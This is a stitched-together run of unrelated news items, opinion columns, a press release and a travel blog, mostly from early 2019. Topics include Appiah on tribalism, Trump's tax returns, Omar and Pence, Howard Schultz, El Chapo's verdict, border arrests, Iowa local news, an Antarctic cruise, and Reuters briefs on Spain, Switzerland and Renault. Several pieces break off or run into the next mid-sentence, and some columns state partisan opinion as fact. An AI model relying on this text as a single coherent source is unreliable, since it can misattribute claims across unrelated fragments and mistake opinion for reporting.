As Appiah explained in his opening remarks, tribes and tribalism are ordinary terms with common usage in Ghanaian English, unlike their pejorativeand frequently racistmeanings in American English. To invoke tribal identity is to signal an investment in cultural and historical affiliations that preceded modern Ghana, with language, region, and other facets defining what counts as tribal. Appiah went further to describe how his father, Joe Appiah, during the 1950s promoted a national Ghanaian identity over ethnic onesin his case, an Asante heritagein the buildup to and aftermath of Ghanas independence. Though this principle of national over tribal identity was never entirely fulfilled, it remained an ideal, even when pride was taken in ethnic affiliation, as Anthony Appiah readily admitted to embracing. Put simply, tribal identity still matters.

But there is a difference between tribe and tribalism. The problem isnt with tribe itself; the problem is when it is mobilized into the charged, confrontational and self-interested practice of tribalism. It is this antagonism that his father struggled against, and it is through this distinction that Appiah called upon the audience to do better in the present, to draw upon, in his words, the better angels of our identities. Appiah, it can be said, has never been part of a tradition of radical thought. His consistent emphasis throughout a number of books on individual choice in matters of identity and moral philosophy can be faulted for not taking full account of systemic hierarchies that inform civic identities and limit political agency. In this sense, his case against tribalism, when taken too narrowly, neglects the ways in which such practices have been institutionalized over time. Mahmood Mamdani has argued that ethnic conflict in postcolonial Africa can partly be attributed to the enduring structural legacies of indirect rule.

More here. (Note: Throughout February, we will publish at least one post dedicated to Black History Month)Heather Radke at The Believer:

On a map, Assateague appears as a long green strip, denoting national park land, and runs thirty-seven miles up the east side of Virginiathe last land before open ocean. Chincoteague, just seven miles long and full of ice cream stores and cheap beach shops, lies half a mile to the west of Assateague, tucked between the long barrier island and the mainland. Driving up the coast from Virginia Beach to Chincoteague I pass areas that are verdant, rural, and poor. A discontinued train line connects abandoned tracks and ghost stations. Boarded-up Victorian houses and dollar stores dot the landscape. But the cliche of rural decline isnt all that you see as you drivethere is an enormous NASA flight facility and a marine science station on the mainland just before the bridge to the island.

Half the herd of wild ponies lives on the northern section of Assateague and belongs to the federal government, which manages them with a light touchthe most the feds do is shoot annual birth control darts into their rumps. The other half of the herd lives on a small southern section of Assateague and belongs to the Chincoteague Volunteer Fire Company, which has managed them since 1924, when it first used the annual pony penning and auction to help pay for its equipment.

more here.Donald Trump, President of the United States and legitimate businessman. Photo: Mandel Ngan/AFP/Getty Images

The first two years of the Trump administration, Republicans controlled both chambers of Congress and could quash any movement to compel the release of President Trumps tax returns without much public discussion. Now that Democrats control the House, and have the legal power to get the tax returns, Republicans have been forced to muster positive arguments for why Trump should be able to conceal his financial information.

Given that every presidential candidate for four decades, other than Donald Trump, has released their tax returns, and that the law enables Congress to acquire anybodys tax returns, it seems like a slam-dunk case for why Congress should be able to look at Trumps. But Trump does not want anybody to see his tax returns, and so reasons to support his position must be supplied.

1. Democrats dont know what the tax returns will show. What is remarkable is that even the most aggressive Democrats dont seem to have a clear idea what they will find in the returns. Theyre just sure there must be something bad in there, writes Byron York, in a column calling the Democratic plan the ultimate fishing expedition.

Its certainly true that Democrats dont know exactly whats in the Trump tax returns. Thats why they want them  if they did know everything already, they wouldnt need to get them. On the other hand, there is ample reason to suspect the Trump tax returns contain information of high public interest, if not multiple outright crimes. When the New York Times dug into Trumps New York tax information, it found proof of massive tax fraud.

Reporters have found evidence of Trump engaging in corruption, fraud, money laundering, and lots and lots of covert dealings with Russia. Thats just the stuff journalists have managed to suss out so far. The tax returns may well also turn up other crimes, because Trump is a crook. But the sheer scope of incriminating evidence that might turn up in a look at the presidents tax returns is not a very compelling reason to keep them private.

2. Trump won, so what are you gonna do. The Boston Herald editorializes that Democrats have not gotten over the 2016 presidential election and, by scrutinizing Trumps tax returns, harangue and harass the president with the ultimate hope that they can unearth some evidence of criminality somewhere.

The editorial oddly does not deny the likelihood that Democrats will unearth evidence of criminality, it simply hinges its case on the supposition that Democrats have no right to scrutinize the criminal who defeated them.

3. Republicans will take revenge. If Congress uses the law to get Trumps tax returns, it could target other people, ones who arent presidents with a long record of criminal financial activity. Where does it end? [GOP congressman Mike] Kelly asked. What about the tax returns of the Speaker? Members of Congress? Federal employees? Or, for that matter, any political donors? There is no end in sight for those whose tax information may be in jeopardy.

Representative Devin Nunes put a finer point on the threat: Once you go down the road, theres no turning back, because then it ratchets up. Because at some point, Republicans will be back in power. There are lots of people we could have subpoenaed their tax returns the last few years that would be very interesting.

Its true, the law allows Congress to get anybodys tax returns. Maybe its dangerous to give Congress that power, but thats an argument against passing a law creating this power in the first place. Since it already exists, why not use it in a case where an extremely compelling public interest exists?

If Republicans are worried about the potential for the abuse of private citizens, they could repeal the law letting Congress look at anybodys tax returns and replace it with a narrower law that applies only to high-ranking officials like the president. But since Republicans oppose laws to force the president to publish his tax returns, here we are.

One common thread through all these defenses is that they take Trumps decision to break precedent and conceal his tax returns as a given. From there, they focus all the scrutiny on Democrats and their nefarious motives for getting the tax returns. And so none of Trumps defenders have bothered to construct a motive for Trumps decision to conceal his tax returns. Its just something we must all accept. The president has done business with, and employed, a large number of criminals, is under state and federal investigation for a wide array of alleged crimes, but his decision to keep his financial information private apparently tells us nothing whatsoever about the secrets it may contain.CXone Nets Industry Honors

Innovation is leading the way in customer engagement. The cloud is opening a door off opportunity for development teams to craft the next generation of workforce optimization and contact center solutions. Awards serve as a nice way to recognize those ahead of the curve.

The 2019 BIG Innovation Awards spotlight the organizations, people and products creating the new frontier of the customer experience. This year, the Business Intelligence Group honored the NICE inContact CXone platform, putting it head and tails above the pack.

Paul Jarman, CEO of NICE inContact noted, With the stakes so high, prioritizing that customer relationship and ensuring positive interactions isnt a luxury, its a requirement for success in the CX economy. CXone was designed with innovation at its core, so businesses can stay ahead of evolving customer needs  recognition by the Business Intelligence Group is powerful validation of this new performance standard.

CXone delivers on modern, digital customer expectations with omnichannel routing, analytics, automation, artificial intelligence and WFO built on an open cloud foundation. With a focus on engagement, CXone maintains the necessary balance of the customer service, contact center, sales experience.

This years winners show just how deep a role innovation plays in nearly every aspect of business, said Maria Jimenez, chief operating officer of the Business Intelligence Group. We are thrilled to be honoring NICE inContact as they are leading by example and making real progress on improving the daily lives of so many.

The cloud is ushering in a new day in customer service, steering innovation in the contact center, and awards showcase who is leading the way into tomorrow.

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Edited by Maurice NagleWhy Antarctica? Because there's something compelling and romantic about far distant places. Luckily, these days such places can be visited in comfort, which means a cruise ship rather than sled dogs and massive layers of protective clothing.

When you're in Tierra del Fuego, the southernmost tip of South America, a lot of things are said to be at the end of the world! The Mayhem Consultant and I have wanted to see Antarctica for decades, and now we have.

Our cruise began and ended in Buenos Aires, Argentina, and there were a lot of sea days because there is a lot of sea. (Itinerary map from iCruise.com)

The lighthouse above isn't actually at the end of the world--there are a couple more farther south, including on Antarctica itself. (I saw that one in the distance, too far for a good picture.) Though it isn't very clear, there are cormorants and sea lions lounging on the rock at the foot of the lighthouse, catching the summer sunshine in the Southern Hemisphere!

The image below is of the Beagle Channel as we sailed into Ushaia, Argentina, in Tierra del Fuego, "the land of fires," early in the morning.





It's boggling to think of small wooden sailing ships braving these turbulent seas. While I generally prefer small ship cruises, for the notoriously dicey polar seas a larger ship made sense, and it was a wise choice.

The monument shown on the left is at Cape Horn, Chile, and it's a memorial to all the sailors lost when "rounding the Horn." The two pieces of the sculpture form the image of an albatross, a symbol of the spirits of those lost sailors. (Picture from Wikimeda by Remi Jouan.)



Antarctica is a fragile environment so access is tightly controlled. Visitors on small expedition style cruise ships may go ashore in zodiacs, but larger ships like the one we were on (the Celebrity Eclipse) sail by close enough for good views. (I was told the ship had two fuel tanks, one for an eco-friendly lighter weight fuel.)

The Antarctic Peninsula flings northward toward the tip of South America, making it the most accessible part of the southernmost continent. We spent a day cruising the Schollaert Channel with amazing ice views on both sides of the ship. Antarctica is the dryest place on earth, so I assumed that it was typical to see brilliant blue skies and seas setting off the brilliant whiteness of the ice and snow.

Wrong! In fact, usually the skies are gray and overcast. But we lucked out with a full day of brilliant, sunny weather as you can see above. All the shipboard Antarctic experts were RAVING about how rare and beautiful conditions were! (The Mayhem Consultant has a sideline in weather magery. <G>)



It's summer in the Southern hemisphere and when we visited the temperatures weren 't that bad, about freezing. The wind chill made the air feel very brisk, though!

More typical were conditions the next day when we visited Elephant Island, famous for being the place where Earnest Shackleton and his crew took refuge after their ship was destroyed by ice.

As you can see, it's a barren, unwelcoming landscape. Shackleton's story is a great tale of an ill-conceived expedition and amazing courage on the part of Shackleton, which saved the lives of everyone in the crew.





The beauty of polar regions is stark and forbidding, but there is also wonderful wildlife: Great seabirds like albatrosses, petrels, and skuas. Whales flipped us off with their tails as they dived, and there are sea lions and of course penguins. One really can't come home from an Antarctic cruise without pictures of penguins: what would our friends think?

Luckily, we saw these cute little Gentoo penguins in the Falklands. They were pretty indifferent to humans. We'd been given strict orders not to encroach on their space, though some penguins were perfectly willing to amble outside their area to look at us. Fun!

I could say more about this cruise, including our visit to the Falklands, the beauty of Buenos Aires and Montevideo, Uruguay and perhaps later I will. But now I'm running out of time so so I'll stop here, and we can bid adieu to the penguins and their pals. <G>

Mary Jo





It closed completely after 24 years in 1993 due to mid-year city budget cuts that resulted in numerous city employee layoffs. It reopened in 1997 after Mayor John Rooff fulfilled a campaign promise and hired 10 firefighters.

The staffing levels have gradually declined due to budget cuts over the years, resulting in the periodic closures in recent years.

Councilman Pat Morrissey said he wanted to hire three more firefighters in next years budget instead of boosting overtime.

The fire department has been the target of staff reductions year in and year out, Morrissey said. To me, that has ended. Its got to stop.

But Councilwoman Margaret Klein said adding staff raises taxes, which causes people to leave town.

Im not opposed to hiring people, but I am opposed to hiring people without first investigating every single available opportunity to do things a different way, she said. I like to think outside the box.

Meanwhile, Treloar is also asking for another $65,000 to begin outsourcing the maintenance, repairs and servicing for portion of the departments ambulances and other vehicles.The UNI ROTC commander nominates the Iversen recipient.

Applications must be returned by April 8.

The AMVET Ladies Auxiliary will offer a $750 nursing scholarship for candidates in nursing studies and two general scholarships for $750 each for undergraduate college or technical studies.

They are available to any family member with an AMVETS Connection.

Applications must be received by by April 1.

The Sons of AMVETS will offer a $750 general scholarship, available to members and family members. They also will offer a $500 Sons of AMVETS 49 scholarship.

Deadline is April 15.

Applications are available in the post lobby in Cedar Falls, 1934 Irving St.

Scholarships will be awarded May 5 at the AMVETS.

Altrusa Scholarship

CEDAR FALLS  Altrusa International Inc. of Cedar Falls has developed a scholarship program to aid adult women in financial need to continue their education in Black Hawk County.

Scholarship funds are administered by a committee of Cedar Falls AltrusansWe know there were issues with him urinating and smearing feces on things, he said.

During closings, the two sides offered their interpretations of a seven-minute video showing the boy standing in the dining room and screaming and shuffling his feet while apparently needing to go to the bathroom.

The defense noted Tyler told officials the boy often held in his urine and refused to go to the bathroom, and Fisher said there was no evidence on the video she was preventing him from going.

The state said Tyler, who apparently filmed the video with her cellphone, wouldnt let the boy use the restroom. Roan said the boy glanced toward Tyler in the video as if pleading with his eyes for permission.

The boy wasnt questioned about the video  and four similar but shorter videos  when he took the stand.

Judge Ellefson took the case under advisement at the close of Wednesdays proceedings and allowed the parties until Feb. 27 to file briefs and further written arguments. He will issue a ruling at a later date.

The defense waived a reading of the verdict in court.A couple of guys who sincerely object to bigotry. Photo: Doug Mills - Pool/Getty Images

Earlier this week, Democratic congresswoman Ilhan Omar suggested that AIPAC  and its associated donors  effectively dictate American policy toward Israel. Her argument has some basis in fact. Through its lobbying and coordination of campaign donations, the American Israel Public Affairs Committee has had a clear and significant impact on U.S. diplomacy toward the Jewish State (or so AIPACs members and donors have proudly claimed).

It's all about the Benjamins baby  https://t.co/KatcXJnZLV  Ilhan Omar (@IlhanMN) February 10, 2019

Still, it is inaccurate to say that Americas deferential posture toward the Israeli government is all about AIPACs benjamins (it is also about American Evangelicals impatience for the eschaton, among other things). More critically, the notion that Jewish organizations use their communitys wealth to control foreign affairs is a staple of anti-Semitic propaganda. Thus, while Omars critique was aimed at a single pro-Israel lobbying group  and while her claims would have been plausibly correct, if modified only slightly  the congresswoman unequivocally apologized for her unintentional insensitivity to the historical traumas of the Jewish people.

But for Mike Pence, that wasnt good enough. On Tuesday, the vice-president revealed that he is so adamantly opposed to hate speech, he believes that merely using rhetoric that is reminiscent of anti-Semitic tropes disqualifies a person for high political office.

Anti-Semitism has no place in the United States Congress, much less the Foreign Affairs Committee, Pence tweeted, referring to Omars seat on said committee. Those who engage in anti-Semitic tropes should not just be denounced, they should face consequences for their words.

Pences words here are both remarkable, and remarkably brave. The vice-president is, in effect, calling for the immediate resignation of not just Ilhan Omar, but also of Donald Trump, and much of the congressional GOP. To interpret Pences remarks in any other fashion would be to suggest that his purported objections to anti-Semitism are purely opportunistic.

After all, if Pence sincerely sees Omars tweets as an unforgivable invocation of anti-Semitic tropes, then he surely feels the same way about Donald Trumps remarks to the Republican Jewish Coalition in 2015, when the presidential candidate told the assembled Jewry, Youre not going to support me because I dont want your money. You want to control your politicians, thats fine.

And unless the vice-presidents condemnation of Omars anti-Semitism was wholly cynical  and I see no reason to jump to so uncharitable a conclusion  then Pence must see the presidents final 2016 campaign ad as an unforgivable offense:

During the 2016 campaign, Mr. Trumps final television commercial featured grainy images of George Soros, the Hungarian-born financier who has become a potent symbol for anti-Semites; Janet L. Yellen, then the chairwoman of the Federal Reserve; and Lloyd C. Blankfein, then the chairman of Goldman Sachs  all of them Jewish  as Mr. Trump warned darkly about the global special interests. Shadowy figures, he said, partner with these people who dont have your good in mind.

And anyone who believes that Omars claims about AIPAC are a gift to violent anti-Semites (and thus, endangered Jewish lives) must feel the same way about Donald Trumps decision to insinuate that George Soros was trying to steal the 2018 elections  by directing a caravan of migrants out of Central America, across the U.S. border, and then to polling places all across the country  just days after a neo-Nazi who subscribed to a nearly identical conspiracy theory shot up a Pittsburgh synagogue.

So, barring the highly unlikely possibility that Mike Pence does not actually have much of a problem with anti-Semitism (but only with anti-Zionism, because he believes that Jews must assemble in Israel before the rapture can plunge them all into eternal hellfire), the vice-president has effectively just called on Trump to step down. And Pence is also ostensibly demanding that House Minority Leader Kevin McCarthy do the same; last fall, McCarthy tweeted, We cannot allow Soros, Steyer and Bloomberg to buy this election, insinuating that three Jewish financiers werent merely trying to dictate U.S. policy toward Israel with their money, but rather, dictate the outcomes of all U.S. elections.

Finally, it seems grossly unfair to assume that Mike Pence has had an epiphany about the evils of bigotry against Jews  but remains perfectly comfortable with hateful discrimination against other marginalized groups. Thus, it seems reasonable to conclude that Pence believes there is no place in our politics for people who defend apartheid rule in the West Bank, and will call for virtually every member of the U.S. Congress to resign, as soon as he reads the following paragraphs from Peter Beinart:

Establishing two legal systems in the same territoryone for Jews and one for Palestinians, as Israel does in the West Bankis bigotry. Guaranteeing Jews in the West Bank citizenship, due process, free movement and the right to vote for the government that controls their lives while denying those rights to their Palestinian neighbors is bigotry. Its a far more tangible form of bigotry than Omars flirtation with anti-Semitic tropes. And it has lasted for more than a half-century. Yet almost all of Omars Republican critics in Congress endorse this bigotry. The 2016 Republican platform declares that, We reject the false notion that Israel is an occupier in the West Bank. In other words, governing Jews by one set of laws and Palestinians by another is fine. Last December, Republican Congressman Lee Zeldin, who has called for stripping Omar of her committee assignments, spoke at a fundraiser for Bet El, a West Bank settlement from which Palestinians are barred from living even though it was builtaccording to the Israeli supreme courton land confiscated from its Palestinian owners.

Of course, Pences new moral clarity will require him to resign from his own post (in recompense for his myriad offenses against Palestinians, immigrants, and the LGBT community). But when he does step down, he will be remembered as a good Christian man, whose opposition to hateful prejudice was earnest and unequivocal.CEDAR RAPIDS --- A Mexican man who used false identification documents to obtain jobs in Bremer County was sentenced Wednesday to more than three months in federal prison.

Sergio Castro-Ramirez, 40, a citizen of Mexico illegally present in the United States and residing in Waterloo, received the prison term after a Dec. 17, 2018, guilty plea to two counts of unlawful use of identification documents and two counts of misuse of a Social Security number.

At the guilty plea, Castro-Ramirez admitted he used a fraudulent Social Security card and a fraudulent permanent resident card, also known as a green card, when he completed Employment Eligibility Verification Forms (Form I-9), state and federal W-4 tax forms, and other employment paperwork on April 2, 2015, and Oct. 18, 2016, at businesses in Waverly and Shell Rock. The Social Security number and the Alien Registration number on the green card which Castro-Ramirez claimed as his own were assigned other people. Castro-Ramirez also falsely claimed to be a lawful permanent resident of the United States.WATERLOO  A fixture of the local judicial system for more than three decades died over the weekend.

Judge Leonard L.D. Lybbert, who continued to dabble in law after retiring from the bench, passed away Sunday at Rosewood Estates. He was 90.

Some of my first trials as a prosecutor were in front of him. You learn so much, said Thomas Bower, a former prosecutor and district court judge who now sits on Iowas Court of Appeals.

Lybbert earned his bachelor of science and law degrees from the University of Iowa and was in private practice in Cresco until 1952, when he became a judge advocate in the U.S. Air Force.

After that, he practiced law in Waterloo beginning in 1957 and served as city attorney for Waterloo in the 1970s. He was appointed to the bench as a district court judge in 1975.

Over the years, Lybbert presided over a number of cases, including Lori Malloy, who was convicted of murdering her 4-year-old daughter in 1985, and Jerry Marks 1995 request for a new trial after Mark was convicted in the 1975 murders of his brother and his brothers family.In the early morning hours, yesterday, El Paso Sector U.S. Border Patrol agents took into custody a large group of people gathering near the Forward Operating Base located at the Antelope Wells Port of Entry, in New Mexico. The group, consisted of 330 illegals, primarily from Guatemala, Nicaragua, El Salvador, and Honduras, illegally crossing the border into the United States. Border Patrol agents were more prepared for this illegal crossing, as they observed a group dressed in camouflage on the Mexico side scouting the area, most likely checking for vulnerabilities.

The morning temperatures for the area were below freezing and border agents knew unscrupulous smugglers do not care about the safety of the people they guide.

Smugglers help and use caravans

Once taken into custody, the Central American families and unaccompanied juveniles went through required initial medical screening. Except for the male juvenile Guatemalan, sent to the hospital upon first interaction with the group, no other subjects required immediate medical attention. The smugglers never get that close to the border, so they can avoid apprehension. Yesterday's group arrest makes it the 28th time El Paso Sector Border Patrol agents have made an arrest of a group larger than 100 people this year.

Smugglers are also known to try to smuggle narcotics or other contraband in this area while Patrol agents are kept busy with these large groups of people.

Border Patrol agents remain watchful

At the El Paso Sector, Clint Border Patrol Station, on Wednesday, two subjects attempted to enter illegally but failed due to the sharp eyes of El Paso Border Patrol agents.

They observed a vehicle that picked up the two subjects and proceeded to crossed the border. Agents immediately stopped the vehicle to conduct an immigration stop, agents questioned their citizenship and found they were not citizens of the U. S., which lead to their arrest for illegal entry. Upon interviewing and investigating the driver, identified as Eduardo Giron Jr., 32, they discovered he had a long list of arrest and convictions which included arrests for; for riot participation, possession of marijuana, assault of a public servant, interference with emergency call, an assault with a deadly weapon, and battery.

They also found that he was in possession of five grams of cocaine. He was arrested and charged with possession of contraband and smuggling. He now awaits court proceedings.

The El Paso Sector Border Patrol agents in southern New Mexico are faced with smuggling attempts, involving both drugs and humans, every day. Border agents work hard to keep our country safe, we can only hope that our lawmakers are also willing to work together to keep American citizens safe.Despite the winter storm, former Vice President Joe Biden paid his respects to Rep. John Dingell. Biden said that those who study his work will always know they are better off because he lived. CNN reported that Biden said that Dingell was a man who stood firm "on the right side of history," even if that meant standing alone.

Dignitaries, colleagues, and friends all paid their respects, to the longest-serving member of Congress, at the Church of the Divine Child. John Dingell spent his 59-year service as a member of Congress from the presidency of Dwight Eisenhower to Barack Obama.

Dingle passed away Thursday at 92.

Members of Congress flight forced to return to Washington

The Washington Post reported that hazardous weather conditions forced a plane carrying members of Congress to return to Washington after being directed to circle Detroit for an hour. Hundreds braved the icy conditions to honor the life of a Democratic legend who was a key figure in passing legislation throughout his nearly 59 years of political service.

Democratic aides tell #FoxNews the military planes transporting lawmakers to former Congressman John Dingells funeral in Detroit had to turn around due to bad weather in Michigan. There are now a lot of empty seats in the church, which sources here are describing as upsetting.  Mike Emanuel  (@MikeEmanuelFox) February 12, 2019

John Dingell served as chairman of the Energy and Commerce Committee and worked to ensure clean air and water, safer food and healthcare, for Americans.

He also championed the American auto industry, which employed thousands in his district. Dingell was instrumental in passing a good deal of legislation including; Medicare, The Clean Water Act, The Clean Air Act, The Endangered Species Act, and The Affordable Care Act.

John Dingell served the people not special interests

Biden applauded Dingell's dignity.

He said Dingell recognized and respected the dignity of every man and woman he encountered and that Dingell knew "public service wasn't a title you wear but a shift that you work, like everybody else. Dingell's constituents praised him for that.

John Dingell entered Congress taking a seat that was held by his father former Rep.

John Dingell Sr. In his first election victory speeches, Dingell said he was picking up the baton passed to him by his father. Biden now says it's time to carry the baton and pass it forward. Dingell's casket will pass the U.S. Capitol and will arrive at a second funeral, which will feature words delivered by former President Bill Clinton and former House Speaker John Boehner. Arlington National Cemetery will be his final resting place.

Biden praised Dingell's dedication this district calling him a die hard man of Michigan. Joe Biden said that today we mourn because we knew John, but now we will work harder, respect men and women if we really want to make him proud.After six days of deliberations, a jury of seven women and five men found Joaquin Guzman guilty on 10 federal counts for which he was charged. Fox News reports that these charges include drug trafficking, alleging that El Chapo was the leader of a criminal enterprise, firearms charges, and money laundering charges. The trial was among one of the most highly secured trials in history.

Some of the evidence against Guzman includes his long time of using violence against enemies of a cartel that smuggled nearly 200 tons of cocaine into the U.S. Assistant U.S.

Attorney Andrea Goldberg recalled testimony of a former cartel soldier, who testified that he saw Guzman kill two men from Sinaloa, who were outed as working for a rival cartel. The unidentified witness says Guzman cursed at the men, before shooting them in the head and ordering the bodies to be gotten rid of by throwing them on a bonfire.

"El Chapo" was the face of the Mexican drug wars

"El Chapo" has been one of the top figures in the Mexican drug wars, leading to large amounts of cocaine, heroin, and more passing through our southern border and killing Americans. "El Chapo's" defense team claims that those who testified against Guzman could not be reliable because they made deals with the government.

The forensic evidence, texts, and emails that, unlike people, do not lie, were overwhelming. "El Chapo" was raised in poverty in rural Mexico and ended up the leader of a global drug empire. Guzman earned billions of dollars over the course of his illegal and murderous career. Jurors ended up delivering their verdict after an 11-week trial.

Guzman will receive his sentence in March.

"El Chapo" heading to prison he definitely can't escape

The head of the Sinaloa Cartel will now be spending the remainder of his life in prison, solely based on the first charge. El Chapo will remain in Brooklyn for a few months, and eventually be moved to the maximum security US Penitentiary, Florence ADX in Colorado.

The prison is one of the most secure facilities in the country. Florence ADX houses many of the country's most dangerous criminals including Terry Nichols, Ramzi Yousef (First WTC bomber), Dzhokhar Tsarnaev (Boston bomber), Zacarias Moussaoui (20th 9/11 hijacker) and several others.

Many top-level cartel figures have been extradited to the US, but Guzman is now the first to go to trial. The trial featured testimony from over 50 witnesses, giving the public insight into the workings of one of the largest drug cartels in Mexico. Sinola is in northwestern Mexico, where Guzman was raised in a poor mountain village.No he cant. Photo: Joshua Lott/Getty Images

Howard Schultz says that Americas two-party system is broken, that our political leaders have been putting revenge politics above problem-solving, and now, our representative democracy doesnt represent us anymore.

In his view, no ordinary politician can meet this moments extraordinary challenges. Whats needed is an outsider who can step up and offer Americas silent majority the kind of leader theyve been longing for: an independent who occupies the middle ground between Chuck Schumer and Chuck Schumers Wall Street donors.

Or at least, this is appears to be Schultzs view, judging by his CNN town hall Tuesday night.

Its hardly news that the Starbucks billionaires nascent, third-party presidential campaign is powered by pompous delusions and hoarded wealth. But the Olympian scale of Schultzs arrogance  and of his campaigns pointlessness  did not come into full view until he took the stage in Houston last night.

The mogul has been exploring a presidential run for nearly a month now. He has had time to turn his armchair intuitions about policy into detailed proposals. And given that he is asking the American people to make him their president  without first seeing how he performs in a lesser political office  one might think that hed feel compelled to put forward a clear and singular legislative vision. After all, if voters cant judge him on the basis of his governing experience, or policy agenda, what are they supposed to judge him on? What would Schultz have said to someone applying for an executive position at his company, who had neither relevant experience for the position nor detailed thoughts about what he wished to accomplish in it?

Nevertheless, the billionaire felt no obligation to put bones and sinew on his skeletal agenda before appearing on CNN Tuesday night. Instead, given a free, prime-time platform to make the case for his candidacy, Schultz revealed that his innovative vision for the U.S. is just a combination of bog-standard (moderate) Democratic positions, empty platitudes, and Trumpian appeals to his own supernatural leadership skills.

Heres CNNs summary of Schultzs remarks on health-care policy:

Howard Schultz says he believes there is something deeply wrong with the American healthcare system.

 I think everyone in America, every person, deserves to have the right for affordable care. Every person, he declared  the first of his three principles on the issue.

The second: There needs to be competition in the system and what I mean that is competition so that the American people can get access to prescription drugs at lower prices, Schultz said, because right now the government is not allowed, under a federal law, to negotiate with (pharmaceutical companies).

The third principle echoed musings familiar from President Donald Trumps own statements in the past: a potential plan to change the rules governing how and where insurance companies sell their plans. When Harlow pressed him for details on the way he would solve these problems  How? The question is how?  Schultz returned to speaking about prescription drug pricing.

So: Schultzs big, neither right nor left ideas for health care are:

A summary of a long-standing Democratic proposal  which Senate Democrats are currently pushing legislation on  to allow Medicare to negotiate with Big Pharma over drug prices.

A restatement of Donald Trumps plan to expand insurers ability to sell insurance across state lines, an idea that has failed to deliver lower prices in the regions where its been tried, and which would likely produce a race to the regulatory bottom  and is thus rejected by most health-care policy experts.

A promise to make health care affordable for every single American  which is to say, to extend insurance to the nearly 30 million people who currently lack it, and drastically reduce costs for the one in four Americans who currently forgo necessary medical care because even with insurance they cannot afford it  without increasing the deficit, significantly raising taxes, or disrupting the private insurance market. (Schultz feels no obligation to specify how he would do this.)

This is indicative of Schultzs broader program. For all his bluster about the Democratic Partys unrealistic promises  and the lefts refusal to recognize the necessity of legislative compromise  Schultz offered CNNs audience virtually nothing beyond unrealistic promises and statements that betrayed an ostensible ignorance of the necessity of legislative compromise. On the latter count: Any political observer with a rudimentary understanding of the U.S. Senate would know that, if a voter wants incremental improvements to the health-care system  but not Medicare for All  they will (almost certainly) get what theyre looking for from any Democratic nominee; even president Bernie Sanders will not be able to pass any legislation without the approval of red-state Democrats like Jon Tester and Kyrsten Sinema. Which is to say, to the extent that Schultz is proposing concrete policies, they are just less-detailed versions of the Democratic Partys consensus positions.

Take his comments on gun safety Tuesday night:

I have a hard time understanding why people need to carry carry an AR-15 around the streets where they live. It is hard for me to understand that. I respect the issues of sportsman and hunting and all things that go with gun ownership. Anyone who has a criminal record or mental health problems, there needs to be a lot more jurisdiction on how those people are buying those weapons. We should take a look at this. Now the far right once again does not want to do anything in the issue. The far left wants to do everything possible to remove guns completely. I am in the middle.

To my knowledge, there is not a single Democratic senator who has called for the repeal of the Second Amendment, and/or doing everything possible to remove guns completely. Schultzs position  that AR-15s should be banned, and universal background checks required  is the Democratic Partys. Or, more precisely: Its the median Democrats position, and may thus be too left wing to earn the unanimous support of Chuck Schumers caucus.

On tax policy, Schultz graciously conceded that billionaires like himself should be paying more to Uncle Sam each year  but refused to specify precisely how much more, beyond reiterating that he believes that Alexandria Ocasio-Cortezs proposal to bring back Carter-era top marginal rates is unconscionably punitive. On climate, Schultz called the Green New Deal unrealistic and morally odious, saying, I think it is immoral to suggest that we can tally up 20, 30, 40, 50 trillion in debt to solve a problem that can be solved in a different way.

Schultz did not say what this different way was.

In sum, given the opportunity to air a free, prime-time infomercial for his candidacy on national television, Schultz effectively pitched himself as Tim Kaine, but without all the policy knowledge, governing experience, humility, candor, or raw sexual charisma.Britain's Secretary of State for International Trade Liam Fox wears a pin showing the national flags of Britain and Switzerland as he addresses a news conference after signing a bilateral agreement to continue trading on preferential terms after Brexit in Bern, Switzerland February 11, 2019. REUTERS/Arnd Wiegmann

ZURICH (Reuters) - Switzerland will introduce a quota system allowing Britons to come and work in the country in the event Britain crashes out of the European Union without an exit deal.

Under the system 3,500 British citizens coming to Switzerland for the first time will be allowed to work, the Bern government said on Wednesday. The cap for residence permits will be set at 2,100, with an additional 1,400 short-stay permits allowed.

The quota, which will apply from March 30 to Dec. 31, is intended to replace the current Agreement of Free Movement of Persons between Switzerland and Britain which runs out March 30.

(Reporting by John Revill)By Belen Carreno

MADRID (Reuters) - Spain's minority Socialist government plans to announce an early general election after its expected defeat in a budget vote on Wednesday following its refusal to negotiate Catalan self-determination, political sources said on Tuesday.

Two small Catalan pro-independence parties, on whose votes the government has been relying to pass legislation, have so far maintained their blanket rejection of the budget.

They said they were open to negotiate until the budget vote if the government promised them a dialogue on the right to self-determination, but that right is prohibited by the Spanish constitution.

Budget Minister Maria Jesus Montero told parliament the government would "not give in to blackmail" over the budget.

"If you want self-determination, I can tell you that there will be no budget," she said, warning that Catalonia would lose what she called a good, generous budget for the region.

The government and Socialist party sources said the snap election date had not been set, although April 14 was most likely, followed by April 28, because Prime Minister Pedro Sanchez wants a ballot as soon as possible to mobilise left-leaning voters against the threat of the right coming to power.

The Socialists are ahead in opinion polls which show them on around 30 percent of voting intentions, but the two main right-of-centre parties together poll at more than 30 percent. In Spain's most populous region of Andalusia they unseated the Socialists last year with the help of the far-right party Vox.

"The idea is to announce we're calling elections as soon as possible once the (vote on) the state's general budget is lost," a government source told Reuters, adding that announcing the election swiftly should overshadow the budget vote defeat and create a more positive news flow, helping the Socialists.

A senior Socialist party source confirmed that the announcement of a snap election would probably come quickly: "It is likely, as soon as the voting (on the budget) ends."

Story continues

Tensions were high again between Madrid and Barcelona as the first day of budget debates coincided with the start of a trial of 12 Catalan separatist leaders in Madrid over their role in the region's failed independence bid in 2017.

"If there is no budget, it won't be the Catalan pro-independence parties' fault, it will be because you think you will benefit from an early election," said Ferran Bel, from the Catalan PDeCat party, addressing the government.

Catalonia's regional government head Quim Torra, in Madrid for the opening of the trial, which he called "an attack on democracy and human rights", told reporters self-determination via a referendum had to be part of any dialogue with Madrid.

"We are not demanding anything that isn't democratic, that wouldn't be done via ballot boxes," he said. "One cannot govern against Catalonia, against the will of its people."

In an early morning tweet, Sanchez had said he expected both right-wing and pro-independence lawmakers to vote against his budget. "They both want the same: A divided Catalonia and a divided Spain," he said.

The sources did not say when Sanchez would announce the snap election.

His Socialists hold less than a quarter of the seats in the lower house, and speculation about whether it will serve a full term has been rife since it took office last year when the conservative People's Party lost a confidence vote.

(Reporting by Belen Carreno; additional reporting by additional reporting by Sabela Ojea; Writing by Ingrid Melander and Andrei Khalip; Editing by Mark Heinrich and Grant McCool)Renault (LSE: 0NQF.L - news) has scrapped 30m (26m) in bonuses and severance pay to former boss Carlos Ghosn after he was forced out following allegations of misconduct at Nissan.

The French carmaker's board took the decision - backed by the government, its biggest shareholder - as Mr Ghosn remains in detention in Japan.

